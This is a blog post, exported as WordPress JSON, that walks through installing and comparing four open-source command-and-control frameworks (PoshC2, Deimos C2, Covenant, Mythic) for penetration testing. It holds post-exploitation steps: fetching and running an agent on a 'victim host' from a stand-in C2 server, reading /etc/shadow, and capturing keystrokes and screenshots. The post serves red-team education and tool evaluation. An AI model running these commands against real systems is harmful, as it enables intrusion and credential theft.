{"id":3674,"date":"2023-07-03T13:36:22","date_gmt":"2023-07-03T17:36:22","guid":{"rendered":"https:\/\/dft.wiki\/?p=3674"},"modified":"2026-06-08T16:44:16","modified_gmt":"2026-06-08T20:44:16","slug":"open-source-command-control-c2-frameworks","status":"publish","type":"post","link":"https:\/\/dft.wiki\/?p=3674","title":{"rendered":"Open Source Command &#038; Control (C2) Frameworks"},"content":{"rendered":"<p>C2 frameworks are post-exploitation tools used by pentesters and threat actors to manage compromised hosts from a centralised location.<\/p>\n<p>In this post I will walk through the following popular open-source C2 frameworks and then compare them.<\/p>\n<ul>\n<li>Posh C2<\/li>\n<li>Deimos C2<\/li>\n<li>Covenant<\/li>\n<li>Mythic<\/li>\n<\/ul>\n<p>Minimum requirements for the C2 server:<\/p>\n<ul>\n<li>1 vCPU<\/li>\n<li>1 GB of RAM<\/li>\n<li>15 GB of storage<\/li>\n<\/ul>\n<hr \/>\n<p><strong>POSH C2<\/strong><\/p>\n<p>Posh C2 is maintained by Nettitude, a cyber security consultancy [<a href=\"https:\/\/github.com\/nettitude\/PoshC2\">Link<\/a>]. It allows teams to collaborate on a single server instance and keeps all activity (commands and outputs) logged with timestamps. Traffic is encrypted even over HTTP.<\/p>\n<p><strong>INSTALLATION<\/strong><\/p>\n<p>Quick installation on Kali:<\/p>\n<pre>curl -sSL https:\/\/raw.githubusercontent.com\/nettitude\/PoshC2\/master\/Install.sh | sudo bash<\/pre>\n<p>Or from the Kali repository:<\/p>\n<pre>sudo apt install poshc2 -y<\/pre>\n<p>Quick installation on Docker:<\/p>\n<pre>sudo apt update &amp;&amp; sudo apt install docker.io -y\r\ncurl -sSL https:\/\/raw.githubusercontent.com\/nettitude\/PoshC2\/master\/Install-for-Docker.sh | sudo bash<\/pre>\n<p><strong>SERVER SETUP<\/strong><\/p>\n<p>Create a project at \/var\/poshc2\/dft-c2\/payloads\/:<\/p>\n<pre>posh-project -n dft-c2<\/pre>\n<p>Open the configuration file:<\/p>\n<pre>posh-config<\/pre>\n<p>Set the IP or hostname of the C2:<\/p>\n<pre>PayloadCommsHost: \"https:\/\/c2.example.com\"<\/pre>\n<p>Start the server manually:<\/p>\n<pre>posh-server<\/pre>\n<p>Start or stop the server as a service:<\/p>\n<pre>posh-service\r\nposh-stop-service<\/pre>\n<p><strong>Note:<\/strong> compiled implants are placed at <code>\/var\/poshc2\/dft-c2\/payloads<\/code>, where <code>dft-c2<\/code> is the project name used in this example. You can review the quick start information at any time by running <code>cat \/var\/poshc2\/dft-c2\/quickstart.txt<\/code>.<\/p>\n<p><strong>HANDLING CONNECTIONS<\/strong><\/p>\n<p>Start the ImplantHandler:<\/p>\n<pre>posh -u userName<\/pre>\n<p>At this point <span style=\"text-decoration: underline;\">an implant must be executed on the victim host<\/span>. Press Enter to refresh until it appears.<\/p>\n<p>After selecting the number of the connected implant, try the following commands:<\/p>\n<ul>\n<li><code>listmodules<\/code><\/li>\n<li><code>get-computerinfo<\/code><\/li>\n<li><code>get-ipconfig<\/code><\/li>\n<li><code>get-userinfo<\/code><\/li>\n<li><code>find-allvulns<\/code><\/li>\n<li><code>invoke-arpscan<\/code><\/li>\n<li><code>get-screenshot<\/code><\/li>\n<li><code>get-keystrokes<\/code>\n<ul>\n<li><code>Get-KeystrokeData<\/code><\/li>\n<\/ul>\n<\/li>\n<li>&#8230;<\/li>\n<\/ul>\n<hr \/>\n<p><strong>DEIMOS C2<\/strong><\/p>\n<p>Deimos C2 is written in Go. All communications are encrypted with a unique RSA key pair per listener. It includes a multi-user Web UI with graphical maps for interacting with listeners and agents [<a href=\"https:\/\/github.com\/DeimosC2\/DeimosC2\">Link<\/a>].<\/p>\n<p><strong>INSTALLATION<\/strong><\/p>\n<pre>https:\/\/github.com\/DeimosC2\/DeimosC2\/releases\/download\/1.1.0\/DeimosC2_linux.zip\r\nsudo apt install unzip -y \r\nunzip DeimosC2_linux.zip\r\nchmod +x .\/DeimosC2 &amp;&amp; .\/DeimosC2<\/pre>\n<p><strong>SETUP<\/strong><\/p>\n<p>Navigate to the server&#8217;s public IP or hostname (e.g. https:\/\/c2.example.com:8443\/).<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-3675\" src=\"https:\/\/dft.wiki\/wp-content\/uploads\/sites\/15\/2023\/07\/Screenshot-from-2023-07-03-11-18-25.png\" alt=\"\" width=\"427\" height=\"656\" srcset=\"https:\/\/dft.wiki\/wp-content\/uploads\/sites\/15\/2023\/07\/Screenshot-from-2023-07-03-11-18-25.png 427w, https:\/\/dft.wiki\/wp-content\/uploads\/sites\/15\/2023\/07\/Screenshot-from-2023-07-03-11-18-25-195x300.png 195w\" sizes=\"auto, (max-width: 427px) 100vw, 427px\" \/><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-3676\" src=\"https:\/\/dft.wiki\/wp-content\/uploads\/sites\/15\/2023\/07\/Screenshot-from-2023-07-03-11-20-06.png\" alt=\"\" width=\"1652\" height=\"1051\" srcset=\"https:\/\/dft.wiki\/wp-content\/uploads\/sites\/15\/2023\/07\/Screenshot-from-2023-07-03-11-20-06.png 1652w, https:\/\/dft.wiki\/wp-content\/uploads\/sites\/15\/2023\/07\/Screenshot-from-2023-07-03-11-20-06-300x191.png 300w, https:\/\/dft.wiki\/wp-content\/uploads\/sites\/15\/2023\/07\/Screenshot-from-2023-07-03-11-20-06-1024x651.png 1024w, https:\/\/dft.wiki\/wp-content\/uploads\/sites\/15\/2023\/07\/Screenshot-from-2023-07-03-11-20-06-768x489.png 768w, https:\/\/dft.wiki\/wp-content\/uploads\/sites\/15\/2023\/07\/Screenshot-from-2023-07-03-11-20-06-1536x977.png 1536w\" sizes=\"auto, (max-width: 1652px) 100vw, 1652px\" \/><\/p>\n<p>Go to <strong>LISTENERS &gt; Add Listener<\/strong>.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-3677\" src=\"https:\/\/dft.wiki\/wp-content\/uploads\/sites\/15\/2023\/07\/Screenshot-from-2023-07-03-11-22-39.png\" alt=\"\" width=\"808\" height=\"786\" srcset=\"https:\/\/dft.wiki\/wp-content\/uploads\/sites\/15\/2023\/07\/Screenshot-from-2023-07-03-11-22-39.png 808w, https:\/\/dft.wiki\/wp-content\/uploads\/sites\/15\/2023\/07\/Screenshot-from-2023-07-03-11-22-39-300x292.png 300w, https:\/\/dft.wiki\/wp-content\/uploads\/sites\/15\/2023\/07\/Screenshot-from-2023-07-03-11-22-39-768x747.png 768w\" sizes=\"auto, (max-width: 808px) 100vw, 808px\" \/><\/p>\n<p>Selected agents will be compiled automatically but can also be generated on demand.<\/p>\n<p>&nbsp;<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-3679\" src=\"https:\/\/dft.wiki\/wp-content\/uploads\/sites\/15\/2023\/07\/Screenshot-from-2023-07-03-11-25-05.png\" alt=\"\" width=\"1384\" height=\"314\" srcset=\"https:\/\/dft.wiki\/wp-content\/uploads\/sites\/15\/2023\/07\/Screenshot-from-2023-07-03-11-25-05.png 1384w, https:\/\/dft.wiki\/wp-content\/uploads\/sites\/15\/2023\/07\/Screenshot-from-2023-07-03-11-25-05-300x68.png 300w, https:\/\/dft.wiki\/wp-content\/uploads\/sites\/15\/2023\/07\/Screenshot-from-2023-07-03-11-25-05-1024x232.png 1024w, https:\/\/dft.wiki\/wp-content\/uploads\/sites\/15\/2023\/07\/Screenshot-from-2023-07-03-11-25-05-768x174.png 768w\" sizes=\"auto, (max-width: 1384px) 100vw, 1384px\" \/><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-3680\" src=\"https:\/\/dft.wiki\/wp-content\/uploads\/sites\/15\/2023\/07\/Screenshot-from-2023-07-03-11-25-38.png\" alt=\"\" width=\"804\" height=\"136\" srcset=\"https:\/\/dft.wiki\/wp-content\/uploads\/sites\/15\/2023\/07\/Screenshot-from-2023-07-03-11-25-38.png 804w, https:\/\/dft.wiki\/wp-content\/uploads\/sites\/15\/2023\/07\/Screenshot-from-2023-07-03-11-25-38-300x51.png 300w, https:\/\/dft.wiki\/wp-content\/uploads\/sites\/15\/2023\/07\/Screenshot-from-2023-07-03-11-25-38-768x130.png 768w\" sizes=\"auto, (max-width: 804px) 100vw, 804px\" \/><\/p>\n<p>Agent binaries are located at the following path, inside a directory named after the listener&#8217;s key (UUID format):<\/p>\n<pre>cd ~\/resources\/listenerresources\/<strong>3c1076cd-cc30-4b4e-960f-4498ceb72c82<\/strong>\r\npython3 -m http.server 8080<\/pre>\n<p>Download and execute the agent binary on the victim host:<\/p>\n<pre>wget http:\/\/c2.example.com:8080\/HTTPSAgent_Lin_amd64_Intel\r\nchmod +x HTTPSAgent_Lin_amd64_Intel\r\n.\/HTTPSAgent_Lin_amd64_Intel<\/pre>\n<p>It will take a few seconds to establish a connection.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-3681\" src=\"https:\/\/dft.wiki\/wp-content\/uploads\/sites\/15\/2023\/07\/Screenshot-from-2023-07-03-11-42-59.png\" alt=\"\" width=\"1648\" height=\"1022\" srcset=\"https:\/\/dft.wiki\/wp-content\/uploads\/sites\/15\/2023\/07\/Screenshot-from-2023-07-03-11-42-59.png 1648w, https:\/\/dft.wiki\/wp-content\/uploads\/sites\/15\/2023\/07\/Screenshot-from-2023-07-03-11-42-59-300x186.png 300w, https:\/\/dft.wiki\/wp-content\/uploads\/sites\/15\/2023\/07\/Screenshot-from-2023-07-03-11-42-59-1024x635.png 1024w, https:\/\/dft.wiki\/wp-content\/uploads\/sites\/15\/2023\/07\/Screenshot-from-2023-07-03-11-42-59-768x476.png 768w, https:\/\/dft.wiki\/wp-content\/uploads\/sites\/15\/2023\/07\/Screenshot-from-2023-07-03-11-42-59-1536x953.png 1536w\" sizes=\"auto, (max-width: 1648px) 100vw, 1648px\" \/><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-3682\" src=\"https:\/\/dft.wiki\/wp-content\/uploads\/sites\/15\/2023\/07\/Screenshot-from-2023-07-03-11-43-38.png\" alt=\"\" width=\"1633\" height=\"915\" srcset=\"https:\/\/dft.wiki\/wp-content\/uploads\/sites\/15\/2023\/07\/Screenshot-from-2023-07-03-11-43-38.png 1633w, https:\/\/dft.wiki\/wp-content\/uploads\/sites\/15\/2023\/07\/Screenshot-from-2023-07-03-11-43-38-300x168.png 300w, https:\/\/dft.wiki\/wp-content\/uploads\/sites\/15\/2023\/07\/Screenshot-from-2023-07-03-11-43-38-1024x574.png 1024w, https:\/\/dft.wiki\/wp-content\/uploads\/sites\/15\/2023\/07\/Screenshot-from-2023-07-03-11-43-38-768x430.png 768w, https:\/\/dft.wiki\/wp-content\/uploads\/sites\/15\/2023\/07\/Screenshot-from-2023-07-03-11-43-38-1536x861.png 1536w\" sizes=\"auto, (max-width: 1633px) 100vw, 1633px\" \/><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-3684\" src=\"https:\/\/dft.wiki\/wp-content\/uploads\/sites\/15\/2023\/07\/Screenshot-from-2023-07-03-11-47-24.png\" alt=\"\" width=\"1645\" height=\"444\" srcset=\"https:\/\/dft.wiki\/wp-content\/uploads\/sites\/15\/2023\/07\/Screenshot-from-2023-07-03-11-47-24.png 1645w, https:\/\/dft.wiki\/wp-content\/uploads\/sites\/15\/2023\/07\/Screenshot-from-2023-07-03-11-47-24-300x81.png 300w, https:\/\/dft.wiki\/wp-content\/uploads\/sites\/15\/2023\/07\/Screenshot-from-2023-07-03-11-47-24-1024x276.png 1024w, https:\/\/dft.wiki\/wp-content\/uploads\/sites\/15\/2023\/07\/Screenshot-from-2023-07-03-11-47-24-768x207.png 768w, https:\/\/dft.wiki\/wp-content\/uploads\/sites\/15\/2023\/07\/Screenshot-from-2023-07-03-11-47-24-1536x415.png 1536w\" sizes=\"auto, (max-width: 1645px) 100vw, 1645px\" \/><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-3683\" src=\"https:\/\/dft.wiki\/wp-content\/uploads\/sites\/15\/2023\/07\/Screenshot-from-2023-07-03-11-45-39.png\" alt=\"\" width=\"1645\" height=\"1289\" srcset=\"https:\/\/dft.wiki\/wp-content\/uploads\/sites\/15\/2023\/07\/Screenshot-from-2023-07-03-11-45-39.png 1645w, https:\/\/dft.wiki\/wp-content\/uploads\/sites\/15\/2023\/07\/Screenshot-from-2023-07-03-11-45-39-300x235.png 300w, https:\/\/dft.wiki\/wp-content\/uploads\/sites\/15\/2023\/07\/Screenshot-from-2023-07-03-11-45-39-1024x802.png 1024w, https:\/\/dft.wiki\/wp-content\/uploads\/sites\/15\/2023\/07\/Screenshot-from-2023-07-03-11-45-39-768x602.png 768w, https:\/\/dft.wiki\/wp-content\/uploads\/sites\/15\/2023\/07\/Screenshot-from-2023-07-03-11-45-39-1536x1204.png 1536w\" sizes=\"auto, (max-width: 1645px) 100vw, 1645px\" \/><\/p>\n<p>Try the following commands:<\/p>\n<ul>\n<li><code>shell whoami<\/code><\/li>\n<li><code>shell cat \/etc\/shadow<\/code><\/li>\n<li><code>module shadowdump<\/code><\/li>\n<\/ul>\n<hr \/>\n<p><strong>COVENANT<\/strong><\/p>\n<p>Covenant is another collaborative C2 framework focused on highlighting the attack surface of .NET [<a href=\"https:\/\/github.com\/cobbr\/Covenant\">Link<\/a>].<\/p>\n<p><strong>INSTALLATION<\/strong><\/p>\n<p>The Docker version is recommended to avoid having to install the .NET Core 3.1 SDK manually.<\/p>\n<pre>git clone --recurse-submodules https:\/\/github.com\/cobbr\/Covenant\r\ncd Covenant\/Covenant\r\nsudo apt install docker.io -y\r\nsudo docker build -t covenant .\r\nsudo docker run -it -p 7443:7443 -p 80:80 -p 443:443 --name covenant -d -v \/<strong>FULL_PATH<\/strong>\/Covenant\/Covenant\/Data:\/app\/Data covenant<\/pre>\n<p><strong>Note:<\/strong> the <strong>FULL_PATH<\/strong> must point to the directory where the configuration is located.<\/p>\n<p><strong>SETUP<\/strong><\/p>\n<p>Navigate to https:\/\/c2.example.com:7443\/ (replace the hostname accordingly).<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-3685\" src=\"https:\/\/dft.wiki\/wp-content\/uploads\/sites\/15\/2023\/07\/Screenshot-from-2023-07-03-12-19-07.png\" alt=\"\" width=\"612\" height=\"496\" srcset=\"https:\/\/dft.wiki\/wp-content\/uploads\/sites\/15\/2023\/07\/Screenshot-from-2023-07-03-12-19-07.png 612w, https:\/\/dft.wiki\/wp-content\/uploads\/sites\/15\/2023\/07\/Screenshot-from-2023-07-03-12-19-07-300x243.png 300w\" sizes=\"auto, (max-width: 612px) 100vw, 612px\" \/><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-3686\" src=\"https:\/\/dft.wiki\/wp-content\/uploads\/sites\/15\/2023\/07\/Screenshot-from-2023-07-03-12-19-46.png\" alt=\"\" width=\"1660\" height=\"525\" srcset=\"https:\/\/dft.wiki\/wp-content\/uploads\/sites\/15\/2023\/07\/Screenshot-from-2023-07-03-12-19-46.png 1660w, https:\/\/dft.wiki\/wp-content\/uploads\/sites\/15\/2023\/07\/Screenshot-from-2023-07-03-12-19-46-300x95.png 300w, https:\/\/dft.wiki\/wp-content\/uploads\/sites\/15\/2023\/07\/Screenshot-from-2023-07-03-12-19-46-1024x324.png 1024w, https:\/\/dft.wiki\/wp-content\/uploads\/sites\/15\/2023\/07\/Screenshot-from-2023-07-03-12-19-46-768x243.png 768w, https:\/\/dft.wiki\/wp-content\/uploads\/sites\/15\/2023\/07\/Screenshot-from-2023-07-03-12-19-46-1536x486.png 1536w\" sizes=\"auto, (max-width: 1660px) 100vw, 1660px\" \/><\/p>\n<p>Go to <strong>Listeners &gt; +Create<\/strong>.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-3687\" src=\"https:\/\/dft.wiki\/wp-content\/uploads\/sites\/15\/2023\/07\/Screenshot-from-2023-07-03-12-21-41.png\" alt=\"\" width=\"1660\" height=\"872\" srcset=\"https:\/\/dft.wiki\/wp-content\/uploads\/sites\/15\/2023\/07\/Screenshot-from-2023-07-03-12-21-41.png 1660w, https:\/\/dft.wiki\/wp-content\/uploads\/sites\/15\/2023\/07\/Screenshot-from-2023-07-03-12-21-41-300x158.png 300w, https:\/\/dft.wiki\/wp-content\/uploads\/sites\/15\/2023\/07\/Screenshot-from-2023-07-03-12-21-41-1024x538.png 1024w, https:\/\/dft.wiki\/wp-content\/uploads\/sites\/15\/2023\/07\/Screenshot-from-2023-07-03-12-21-41-768x403.png 768w, https:\/\/dft.wiki\/wp-content\/uploads\/sites\/15\/2023\/07\/Screenshot-from-2023-07-03-12-21-41-1536x807.png 1536w\" sizes=\"auto, (max-width: 1660px) 100vw, 1660px\" \/><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-3688\" src=\"https:\/\/dft.wiki\/wp-content\/uploads\/sites\/15\/2023\/07\/Screenshot-from-2023-07-03-12-22-10.png\" alt=\"\" width=\"1671\" height=\"427\" srcset=\"https:\/\/dft.wiki\/wp-content\/uploads\/sites\/15\/2023\/07\/Screenshot-from-2023-07-03-12-22-10.png 1671w, https:\/\/dft.wiki\/wp-content\/uploads\/sites\/15\/2023\/07\/Screenshot-from-2023-07-03-12-22-10-300x77.png 300w, https:\/\/dft.wiki\/wp-content\/uploads\/sites\/15\/2023\/07\/Screenshot-from-2023-07-03-12-22-10-1024x262.png 1024w, https:\/\/dft.wiki\/wp-content\/uploads\/sites\/15\/2023\/07\/Screenshot-from-2023-07-03-12-22-10-768x196.png 768w, https:\/\/dft.wiki\/wp-content\/uploads\/sites\/15\/2023\/07\/Screenshot-from-2023-07-03-12-22-10-1536x393.png 1536w\" sizes=\"auto, (max-width: 1671px) 100vw, 1671px\" \/><\/p>\n<p><strong>MANAGING THE CONTAINER<\/strong><\/p>\n<pre>docker start covenant\r\ndocker stop covenant\r\ndocker rm covenant<\/pre>\n<hr \/>\n<p><strong>MYTHIC<\/strong><\/p>\n<p>Mythic is a cross-platform framework written in Go that runs in containers and can be managed via a Web UI and CLI [<a href=\"https:\/\/github.com\/its-a-feature\/Mythic\">Link<\/a>].<\/p>\n<p>It requires more than 2 vCPUs and 1 GB of RAM to run smoothly.<\/p>\n<p><strong>INSTALLATION<\/strong><\/p>\n<pre>sudo apt update &amp;&amp; sudo apt upgrade -y\r\nsudo apt install docker.io gcc build-essential docker-compose docker-compose-plugin -y\r\ngit clone https:\/\/github.com\/its-a-feature\/Mythic.git\r\ncd Mythic\r\nsudo make\r\n.\/install_docker_ubuntu.sh\r\ncd Mythic\r\nsudo .\/mythic-cli start\r\ncat Mythic\/.env | grep MYTHIC_ADMIN_PASSWORD<\/pre>\n<p>Navigate to https:\/\/c2.example.com:7443\/ (replace the hostname accordingly).<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-3689\" src=\"https:\/\/dft.wiki\/wp-content\/uploads\/sites\/15\/2023\/07\/Screenshot-from-2023-07-03-13-21-45.png\" alt=\"\" width=\"505\" height=\"566\" srcset=\"https:\/\/dft.wiki\/wp-content\/uploads\/sites\/15\/2023\/07\/Screenshot-from-2023-07-03-13-21-45.png 505w, https:\/\/dft.wiki\/wp-content\/uploads\/sites\/15\/2023\/07\/Screenshot-from-2023-07-03-13-21-45-268x300.png 268w\" sizes=\"auto, (max-width: 505px) 100vw, 505px\" \/><\/p>\n<p>Log in with the default username <code>mythic_admin<\/code> and the randomly generated password found in <code>Mythic\/.env<\/code>.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-3690\" src=\"https:\/\/dft.wiki\/wp-content\/uploads\/sites\/15\/2023\/07\/Screenshot-from-2023-07-03-13-25-54.png\" alt=\"\" width=\"1657\" height=\"380\" srcset=\"https:\/\/dft.wiki\/wp-content\/uploads\/sites\/15\/2023\/07\/Screenshot-from-2023-07-03-13-25-54.png 1657w, https:\/\/dft.wiki\/wp-content\/uploads\/sites\/15\/2023\/07\/Screenshot-from-2023-07-03-13-25-54-300x69.png 300w, https:\/\/dft.wiki\/wp-content\/uploads\/sites\/15\/2023\/07\/Screenshot-from-2023-07-03-13-25-54-1024x235.png 1024w, https:\/\/dft.wiki\/wp-content\/uploads\/sites\/15\/2023\/07\/Screenshot-from-2023-07-03-13-25-54-768x176.png 768w, https:\/\/dft.wiki\/wp-content\/uploads\/sites\/15\/2023\/07\/Screenshot-from-2023-07-03-13-25-54-1536x352.png 1536w\" sizes=\"auto, (max-width: 1657px) 100vw, 1657px\" \/><\/p>\n<p>It includes a built-in reference library based on MITRE ATT&amp;CK:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-3692\" src=\"https:\/\/dft.wiki\/wp-content\/uploads\/sites\/15\/2023\/07\/Screenshot-from-2023-07-03-13-32-39.png\" alt=\"\" width=\"1669\" height=\"1324\" srcset=\"https:\/\/dft.wiki\/wp-content\/uploads\/sites\/15\/2023\/07\/Screenshot-from-2023-07-03-13-32-39.png 1669w, https:\/\/dft.wiki\/wp-content\/uploads\/sites\/15\/2023\/07\/Screenshot-from-2023-07-03-13-32-39-300x238.png 300w, https:\/\/dft.wiki\/wp-content\/uploads\/sites\/15\/2023\/07\/Screenshot-from-2023-07-03-13-32-39-1024x812.png 1024w, https:\/\/dft.wiki\/wp-content\/uploads\/sites\/15\/2023\/07\/Screenshot-from-2023-07-03-13-32-39-768x609.png 768w, https:\/\/dft.wiki\/wp-content\/uploads\/sites\/15\/2023\/07\/Screenshot-from-2023-07-03-13-32-39-1536x1218.png 1536w\" sizes=\"auto, (max-width: 1669px) 100vw, 1669px\" \/><\/p>\n<p><strong>EXTENSIONS<\/strong><\/p>\n<p>You can extend the framework by installing additional agents and profiles:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-3691\" src=\"https:\/\/dft.wiki\/wp-content\/uploads\/sites\/15\/2023\/07\/Screenshot-from-2023-07-03-13-28-23.png\" alt=\"\" width=\"856\" height=\"1072\" srcset=\"https:\/\/dft.wiki\/wp-content\/uploads\/sites\/15\/2023\/07\/Screenshot-from-2023-07-03-13-28-23.png 856w, https:\/\/dft.wiki\/wp-content\/uploads\/sites\/15\/2023\/07\/Screenshot-from-2023-07-03-13-28-23-240x300.png 240w, https:\/\/dft.wiki\/wp-content\/uploads\/sites\/15\/2023\/07\/Screenshot-from-2023-07-03-13-28-23-818x1024.png 818w, https:\/\/dft.wiki\/wp-content\/uploads\/sites\/15\/2023\/07\/Screenshot-from-2023-07-03-13-28-23-768x962.png 768w\" sizes=\"auto, (max-width: 856px) 100vw, 856px\" \/><\/p>\n<pre>sudo .\/mythic-cli install github https:\/\/github.com\/MythicAgents\/athena\r\nsudo .\/mythic-cli install github https:\/\/github.com\/MythicC2Profiles\/basic_logger<\/pre>\n<hr \/>\n<p><strong>REFLECTIONS AND OBSERVATIONS<\/strong><\/p>\n<ul>\n<li><strong>Posh C2<\/strong>\n<ul>\n<li>Not particularly sophisticated,<\/li>\n<li>Has issues with Python libraries and dependencies,<\/li>\n<li>Available in Kali&#8217;s repository,<\/li>\n<li>Heavily focused on Windows.<\/li>\n<\/ul>\n<\/li>\n<li><strong>Deimos C2<\/strong>\n<ul>\n<li>Clean Web UI but unstable,<\/li>\n<li>The terminal feature is slow due to the agent polling the server periodically for commands,<\/li>\n<li>Easy to deploy with pre-compiled server and agent binaries.<\/li>\n<\/ul>\n<\/li>\n<li><strong>Covenant<\/strong>\n<ul>\n<li>Polished Web UI,<\/li>\n<li>The terminology around Launchers and Grunts can be confusing,<\/li>\n<li>Exclusively focused on .NET.<\/li>\n<\/ul>\n<\/li>\n<li><strong>Mythic<\/strong>\n<ul>\n<li>The most resource-intensive but also the most feature-rich of the four,<\/li>\n<li>A wide variety of extensions and add-ons available,<\/li>\n<li>Having MITRE ATT&amp;CK [<a href=\"https:\/\/attack.mitre.org\/techniques\/enterprise\/\">Link<\/a>] references a single click away is a great touch.<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n","protected":false},"excerpt":{"rendered":"<p>C2 frameworks are post-exploitation tools used by pentesters and threat actors to manage compromised hosts [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[9],"tags":[],"class_list":["post-3674","post","type-post","status-publish","format-standard","hentry","category-hacking"],"_links":{"self":[{"href":"https:\/\/dft.wiki\/index.php?rest_route=\/wp\/v2\/posts\/3674","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/dft.wiki\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/dft.wiki\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/dft.wiki\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/dft.wiki\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=3674"}],"version-history":[{"count":3,"href":"https:\/\/dft.wiki\/index.php?rest_route=\/wp\/v2\/posts\/3674\/revisions"}],"predecessor-version":[{"id":5641,"href":"https:\/\/dft.wiki\/index.php?rest_route=\/wp\/v2\/posts\/3674\/revisions\/5641"}],"wp:attachment":[{"href":"https:\/\/dft.wiki\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=3674"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/dft.wiki\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=3674"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/dft.wiki\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=3674"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}